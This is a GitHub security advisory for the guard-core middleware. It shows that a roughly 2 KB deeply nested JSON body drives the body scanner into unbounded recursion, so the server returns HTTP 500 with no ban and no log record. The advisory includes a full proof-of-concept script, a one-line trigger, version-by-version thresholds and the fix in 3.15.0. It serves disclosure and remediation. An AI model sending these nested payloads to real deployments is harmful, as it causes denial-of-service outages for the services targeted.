Skip to main content
Menu
Advisories

A 1.9 KB JSON body makes every request 500: the body scanner recurses without a depth limit

GHSA-F6CF-JJHC-QP85Published Updated GitHub

Description

The request-body scanner walks a decoded JSON document recursively with no depth limit. A deeply nested object exhausts the interpreter stack, and the RecursionError becomes a fail-secure HTTP 500. The request is unauthenticated, nothing about it counts as suspicious, and on 3.14.0 1 923 bytes is enough.

Not new in 3.14.0 - it dates to around 3.12.0, and 3.13.0 made it three times cheaper to reach while fixing something else. That history is below because it points straight at the frames to bound.

Details

Same body, four configurations, on 3.14.0:

  no middleware                    d100=200  d400=200
  guard, stock                     d100=200  d400=500
  guard, detection off             d100=200  d400=200
  guard, detection_scan_body=False d100=200  d400=200

Without the middleware the same document is deserialized and served normally, so the recursion is guard-core's traversal, not the JSON parser's.

History. Same script, each version installed on its own:

guard-coreshallowest depth that 500sbody
3.5.0, 3.10.0no 500 at depth 1 000-
3.12.09605 769 bytes
3.13.03191 923 bytes
3.14.03191 923 bytes

The 3.13.0 jump is the JSON key-name scanning that landed with the key-blindness fixes. The cycle, from the traceback at the moment the limit is hit on 3.14.0:

_scan_component_name          <- the key-name path, added in 3.13.0
_check_request_component
_check_value_enhanced
error                         <- logging, from _check_value_enhanced's except branch
_log / handle / callHandlers / handle / emit / format / format / usesTime

Scanning keys as well as values costs roughly three extra frames per level of nesting, which is the whole of the 960 → 319 change. The fix was right; it just made an existing unbounded recursion cheaper to trigger. So the depth threshold is not a constant either - it is whatever is left of sys.getrecursionlimit() when the scan starts, and an application with more middleware or a lowered limit fails shallower.

The tail of that trace is the second problem: _check_value_enhanced catches the failure and calls logger.error(...), and the logging call is what finally raises, inside Formatter.usesTime. The record describing the incident is lost to the same recursion.

Cost, and why nothing stops it

Stock config, 3.14.0, 2 409-byte body (depth 400), 5 requests:

  responses                     : [500]
  cost to serve                 : 3447 ms each
  banned (auto_ban_threshold=5) : False
  • Not self-limiting. The 500 comes out of the fail-secure path (Blocking request due to check error in fail-secure mode: suspicious_activity), so it never increments the suspicious counter - no number of these reaches auto_ban_threshold.
  • Cheap to send, expensive to serve. 2.4 KB in, ~3 s of CPU out (2.9-3.4 s across runs); unwinding the stack and formatting the traceback is most of it.
  • detection_max_scan_values does not bound it. That budget counts values as they are scanned; the recursion happens during traversal, before the count makes any difference.

PoC

poc_nested_json_recursion.py, attached - four configurations, a binary search for the threshold, and the ban counter. It prints a version banner, so the history table reproduces by running it under each release.

<details> <summary><code>poc_nested_json_recursion.py</code></summary>

"""A 1.9 KB JSON body makes guard-core 500 the request.

    uv run python docs/upstream-guard-core/followups-314/poc_nested_json_recursion.py

The body scanner walks a decoded JSON document recursively with no depth limit,
so a deeply nested object exhausts the interpreter stack. The RecursionError
surfaces as HTTP 500. Same body is served normally with the middleware removed,
with `enable_penetration_detection=False`, or with `detection_scan_body=False`,
which isolates it to the recursive body scan.

The threshold is version-dependent -- 960 on 3.12.0, 319 on 3.13.0 and 3.14.0,
no failure at all on 3.10.0 and earlier. To reproduce that sweep:

    uv run --isolated --with 'guard-core==3.12.0' --with 'fastapi-guard==7.6.0' \
        --with fastapi --with httpx2 python <this file>
"""

import logging
import time
from importlib.metadata import version

logging.getLogger("guard_core").setLevel(logging.CRITICAL)

from fastapi import FastAPI  # noqa: E402
from guard.middleware import SecurityMiddleware  # noqa: E402
from guard_core.models import SecurityConfig  # noqa: E402
from starlette.testclient import TestClient  # noqa: E402

JSON_HEADERS = {"content-type": "application/json"}
CLIENT = ("203.0.113.90", 1)


def nested(depth: int) -> str:
    return "{" + '"a":{' * depth + '"b":"x"' + "}" * depth + "}"


def app(guarded: bool = True, **cfg) -> FastAPI:
    application = FastAPI()
    if guarded:
        application.add_middleware(
            SecurityMiddleware,
            config=SecurityConfig(
                enable_redis=False, rate_limit=10_000, rate_limit_window=60,
                auto_ban_threshold=5, **cfg
            ),
        )

    @application.post("/x")
    async def x(payload: dict | None = None):
        return {"ok": True}

    @application.get("/y")
    async def y():
        return {"ok": True}

    return application


def statuses(application, depths) -> str:
    with TestClient(application, client=CLIENT, raise_server_exceptions=False) as client:
        return "  ".join(
            f"d{d}={client.post('/x', content=nested(d), headers=JSON_HEADERS).status_code}"
            for d in depths
        )


print(f"guard-core {version('guard-core')} / fastapi-guard {version('fastapi-guard')}")

print("\n  same body, four configurations:")
for label, application in (
    ("no middleware                  ", app(guarded=False)),
    ("guard, stock                   ", app()),
    ("guard, detection off           ", app(enable_penetration_detection=False)),
    ("guard, detection_scan_body=Fals", app(detection_scan_body=False)),
):
    print(f"    {label} {statuses(application, (100, 400))}")

print("\n  smallest body that does it, on a stock config:")
with TestClient(app(), client=CLIENT, raise_server_exceptions=False) as client:
    low, high = 250, 400
    while low < high:
        mid = (low + high) // 2
        if client.post("/x", content=nested(mid), headers=JSON_HEADERS).status_code == 500:
            high = mid
        else:
            low = mid + 1
    print(f"    depth {low}, {len(nested(low))} bytes")

print("\n  what a handful of them cost, and whether anything stops them:")
import asyncio  # noqa: E402

from guard_core.handlers.ipban_handler import ip_ban_manager  # noqa: E402


async def main() -> None:
    await ip_ban_manager.reset()
    body = nested(400)
    with TestClient(app(), client=CLIENT, raise_server_exceptions=False) as client:
        start = time.perf_counter()
        codes = [client.post("/x", content=body, headers=JSON_HEADERS).status_code for _ in range(5)]
        elapsed = time.perf_counter() - start
        print(f"    payload                       : {len(body)} bytes")
        print(f"    responses                     : {sorted(set(codes))}")
        print(f"    cost to serve                 : {elapsed / 5 * 1000:.0f} ms each")
        print(f"    banned (auto_ban_threshold=5) : {CLIENT[0] in ip_ban_manager.banned_ips}")
    await ip_ban_manager.reset()


asyncio.run(main())

</details>

def nested(depth):
    return "{" + '"a":{' * depth + '"b":"x"' + "}" * depth + "}"

client.post("/x", content=nested(400), headers={"content-type": "application/json"})
# -> 500

Impact

Any unauthenticated client can hold a worker for several seconds per 2 KB request and get a 500 every time, with no ban, no distinguishing rate-limit signal, and no log record. On a single-worker async deployment that is a straightforward outage.

Suggested fix

Bound the traversal: thread a depth counter through _scan_json_dict / _scan_json_value and stop descending past a configurable limit (32 is more than any legitimate API body needs), the way detection_max_scan_values already bounds breadth. Catch RecursionError at the detect_penetration_attempt boundary as a backstop, so a miss degrades to "not scanned" rather than to a 500.

Fixed in 3.15.0

Fixed in guard-core 3.15.0 (PyPI), merged in #83 (75d13343). The JSON body walk is an explicit-stack iteration with no recursion; SecurityConfig.detection_max_json_depth (default 32) bounds the depth walked structurally and a subtree at the cap is serialised and scanned as one value under its key label, with one warning per request, so a payload hidden below the cap is still scanned; RecursionError is never treated as a clean result (the silent-clean band at depths 984 to 994 the maintainers found while verifying this report is closed the same way); embedded JSON in query and header values gets the same treatment. Verified on the maintainers' side: threshold 325 on Python 3.10 (319 on 3.14 as reported), fail-secure 500 without a ban increment, lost log record; per-request cost through guard-core alone measured 0.70 s at depth 400 (the 3 s figure includes the adapter and test-client overhead). Affected range set to >= 3.4.0 (the recursive walk dates from 3.4.0, reachable at about depth 989; 3.12.0 lowered it to about 960; 3.13.0 to about 319).

Affected versions

References

GitHub · Guard-Core/guard-core